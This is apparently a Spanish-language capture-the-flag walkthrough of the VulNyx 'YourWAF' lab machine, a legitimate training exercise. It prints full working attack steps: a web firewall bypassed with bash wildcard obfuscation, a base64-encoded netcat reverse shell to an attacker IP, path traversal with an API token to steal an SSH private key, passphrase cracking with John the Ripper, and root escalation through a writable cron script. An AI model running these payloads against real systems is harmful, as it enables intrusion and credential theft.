VulNyx - YourWAF
- Command Obfuscation via Wildcards
- Path Traversal to Access Sensitive Files via API Token
- Brute-Forcing SSH Private Key Passphrase with John the Ripper
- Privilege Escalation via Writable Script Executed by Root (copylogs.sh)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.37
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80,3000 172.0.100.37
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 1c:ec:5c:5b:fd:fc:ba:f3:4c:1b:0b:70:e6:ef:bf:12 (ECDSA)
|_ 256 26:18:c8:ec:34:aa:d5:b9:28:a1:e2:83:b0:d3:45:2e (ED25519)
80/tcp open http Apache httpd 2.4.59 ((Debian))
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.59 (Debian)
3000/tcp open http Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
HTTP - TCP 80
Añadí el dominio al archivo /etc/hosts
para poder acceder a la web.
HTTP - TCP 3000
Al acceder al puerto 3000, el servidor responde con un mensaje de Unauthorized.
Enumero directorios en el puerto 3000 y aparecen varias rutas interesantes.
❯ ffuf -t 100 -c -fc 404 -fs 280 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://www.yourwaf.nyx:3000/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://www.yourwaf.nyx:3000/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 404
:: Filter : Response size: 280
________________________________________________
Logs [Status: 200, Size: 226621106, Words: 0, Lines: 0, Duration: 0ms]
logs [Status: 200, Size: 247057905, Words: 0, Lines: 0, Duration: 0ms]
readfile [Status: 200, Size: 13, Words: 1, Lines: 1, Duration: 60ms]
La única URL que devuelve contenido es /logs
.
Al no obtener información relevante, decidí hacer enumeración de subdominios.
❯ ffuf -t 100 -c -fw 1 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "User-Agent: morzilla" -H "Host: FUZZ.yourwaf.nyx" -u http://www.yourwaf.nyx
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://www.yourwaf.nyx
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.yourwaf.nyx
:: Header : User-Agent: morzilla
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 100
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 1
________________________________________________
www [Status: 200, Size: 10722, Words: 3594, Lines: 171, Duration: 50ms]
maintenance [Status: 200, Size: 292, Words: 58, Lines: 14, Duration: 165ms]
Modifico el archivo hosts
y le añado el subdominio para visualizar la web.
❯ echo "172.0.100.37 maintenance.yourwaf.nyx" | sudo tee -a /etc/hosts
Al visitar el nuevo subdominio, me encuentro con una herramienta que permite ejecutar comandos en el servidor.
Puedo ejecutar el comando id
sin problemas y obtengo la respuesta esperada con los detalles del usuario.
Al intentar ejecutar cat /etc/passwd
, el servidor responde con un 403 Forbidden, lo que indica que hay algún tipo de restricción o filtro (como un WAF) que bloquea el acceso a ese recurso.
Command Wildcard Obfuscation
Uso comodines como ?
para ofuscar el comando /bin/cat /etc/passwd
. Al ejecutarlo con los comodines /?i?/c?t /?t?/passwd | base64
, obtengo una salida codificada, lo que indica que el comando se ejecutó correctamente.
¿Por qué los “?
” funcionan?
El signo ?
en rutas de comandos o scripts puede tener diferentes usos según el sistema.
En bash, funciona como un comodín que representa un solo carácter en nombres de archivo.
Ejemplo:
El comando ls /b?n/bash
busca cualquier ruta que empiece con “b”, tenga un carácter cualquiera en lugar de ?
, y continúe con bash. Por ejemplo, /b?n/bash
podría coincidir con /bin/bash
si esa ruta existe y no hay otras coincidencias.
Al analizarla con CyberChef, la decodifiqué correctamente y logré visualizar el contenido del archivo /etc/passwd
.
Sabiendo que los comandos directos estaban siendo bloqueados, codifico una reverse shell en base64:
❯ echo "nc -c /bin/bash 172.0.100.25 1337" | base64
bmMgLWMgL2Jpbi9iYXNoIDE3Mi4wLjEwMC4yNSAxMzM3Cg==
La idea es decodificar y ejecutar la shell directamente desde la máquina objetivo. El payload quedaría así:
/bin/echo bmMgLWMgL2Jpbi9iYXNoIDE3Mi4wLjEwMC4yNSAxMzM3Cg== | base64 -d | /bin/bash -e
Sin embargo, lanzarlo de esta forma puede ser detectado fácilmente por el WAF. Para evadirlo, modifico algunos caracteres usando comodines:
/b?n/e?ho bmMgLWMgL2Jpbi9iYXNoIDE3Mi4wLjEwMC4yNSAxMzM3Cg== | base64 -d | /b?n/b?sh -e
Así logro ofuscar el comando manteniendo su funcionalidad y obtener una shell como usuario www-data
.
Enumero los procesos en ejecución con ps
y logro identificar un archivo interesante:
ps aux | grep node
Esto me permite encontrar el proceso de una aplicación Node.js
que está ejecutando el archivo server.js
, ubicado en la ruta /opt/nodeapp/server.js
.
www-data@yourwaf:/$ ps aux | grep node
root 602 0.5 1.6 687252 84704 ? Ssl 15:21 0:34 node /opt/nodeapp/server.js
www-data 3743 0.0 0.0 3324 1504 pts/0 S+ 16:58 0:00 grep node
Dentro del directorio /opt/nodeapp
se encuentran los siguientes archivos:
www-data@yourwaf:/opt/nodeapp$ ls -la
ls -la
total 60
drwxr-xr-x 4 root root 4096 May 26 2024 .
drwxr-xr-x 3 root root 4096 May 26 2024 ..
-rwxrwxr-x 1 root copylogs 111 May 26 2024 copylogs.sh
-rw-r--r-- 1 root root 232 May 26 2024 ecosystem.config.js
drwxr-xr-x 2 root root 4096 May 26 2024 logs
drwxr-xr-x 66 root root 4096 May 26 2024 node_modules
-rw-r--r-- 1 root root 25436 May 26 2024 package-lock.json
-rw-r--r-- 1 root root 303 May 26 2024 package.json
-rw-r--r-- 1 root root 1247 May 26 2024 server.js
Estos archivos son típicos de una aplicación Node.js
. El más relevante para el análisis inicial suele ser server.js
, ya que generalmente contiene la configuración principal del servidor.
Al revisar el archivo server.js
en /opt/nodeapp
, encontré una API token incrustada en el código. Esto podría permitir el acceso no autorizado a la API si se utiliza de manera indebida.
Path Traversal mediante API token
Durante la revisión de la aplicación, descubrí que la funcionalidad readfile
en el puerto 3000 permitía la lectura de archivos del sistema a través de una petición HTTP. Para realizar esta acción, es necesario proporcionar un token de API válido y el nombre del archivo que se desea leer.
En este caso, utilicé el siguiente comando curl
para intentar leer el archivo de claves privadas SSH id_rsa
del usuario tester
:
❯ curl "http://www.yourwaf.nyx:3000/readfile?api-token=8c2b6a304191b8e2d81aaa5d1131d83d&file=../../../../../../home/tester/.ssh/id_rsa" -o -
Una vez obtenido el archivo id_rsa
a través de la vulnerabilidad de path traversal, intenté utilizarlo para autenticarme en el sistema SSH de la máquina comprometida con el siguiente comando:
❯ ssh tester@172.0.100.37 -i id_rsa
Sin embargo, me solicitó una frase de contraseña (passphrase) para poder usar la clave privada. Esto indica que el archivo id_rsa
está cifrado y protegido por un passphrase.
Para descifrar el passphrase, utilicé ssh2john
para extraer el hash de la clave privada en formato compatible:
❯ ssh2john id_rsa > hashrsa
Luego, utilicé John the Ripper
para intentar crackear el passphrase:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashrsa
w***** (id_rsa)
Después de obtener el passphrase correcto para la clave privada id_rsa
, logré acceder al servidor SSH de la máquina comprometida como el usuario tester
.
❯ ssh tester@172.0.100.37 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux yourwaf 6.1.0-21-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.90-1 (2024-05-03) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tester@yourwaf:~$
Una vez dentro del sistema, utilicé el comando id
para obtener información sobre el usuario tester
. El resultado muestra que tester
pertenece al grupo copylogs
(ID de grupo 1001), lo cual puede ser relevante al explorar permisos y archivos específicos.
tester@yourwaf:~$ id
uid=1000(tester) gid=1000(tester) grupos=1000(tester),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(copylogs)
Utilicé pspy64
para enumerar los procesos en ejecución y ver qué scripts o programas podrían estar ejecutándose con privilegios elevados. Durante este proceso, identifiqué que /bin/bash
estaba ejecutando el script copylogs.sh
, ubicado en el directorio /opt/nodeapp
:
Al investigar el archivo copylogs.sh
ubicado en /opt/nodeapp
, comprobé que el usuario tester
tiene permisos de escritura sobre el archivo debido a que pertenece al grupo copylogs
. Esto se confirmó con el siguiente comando:
tester@yourwaf:~$ ls -la /opt/nodeapp/copylogs.sh
-rwxrwxr-x 1 root copylogs 147 abr 21 16:02
Explotación de la vulnerabilidad mediante copylogs.sh
Para aprovechar la vulnerabilidad, edité el archivo copylogs.sh
utilizando el editor nano
, dado que tester
tiene permisos de escritura en este archivo. Inserté una reverseshell utilizando netcat
, con el siguiente comando:
Después de modificar el archivo, esperé unos segundos y observé que se estableció una conexión de red, obteniendo una shell de root en el sistema:
Y así concluye el viaje en la máquina YourWAF.
Que el destino te guíe.
Saludos.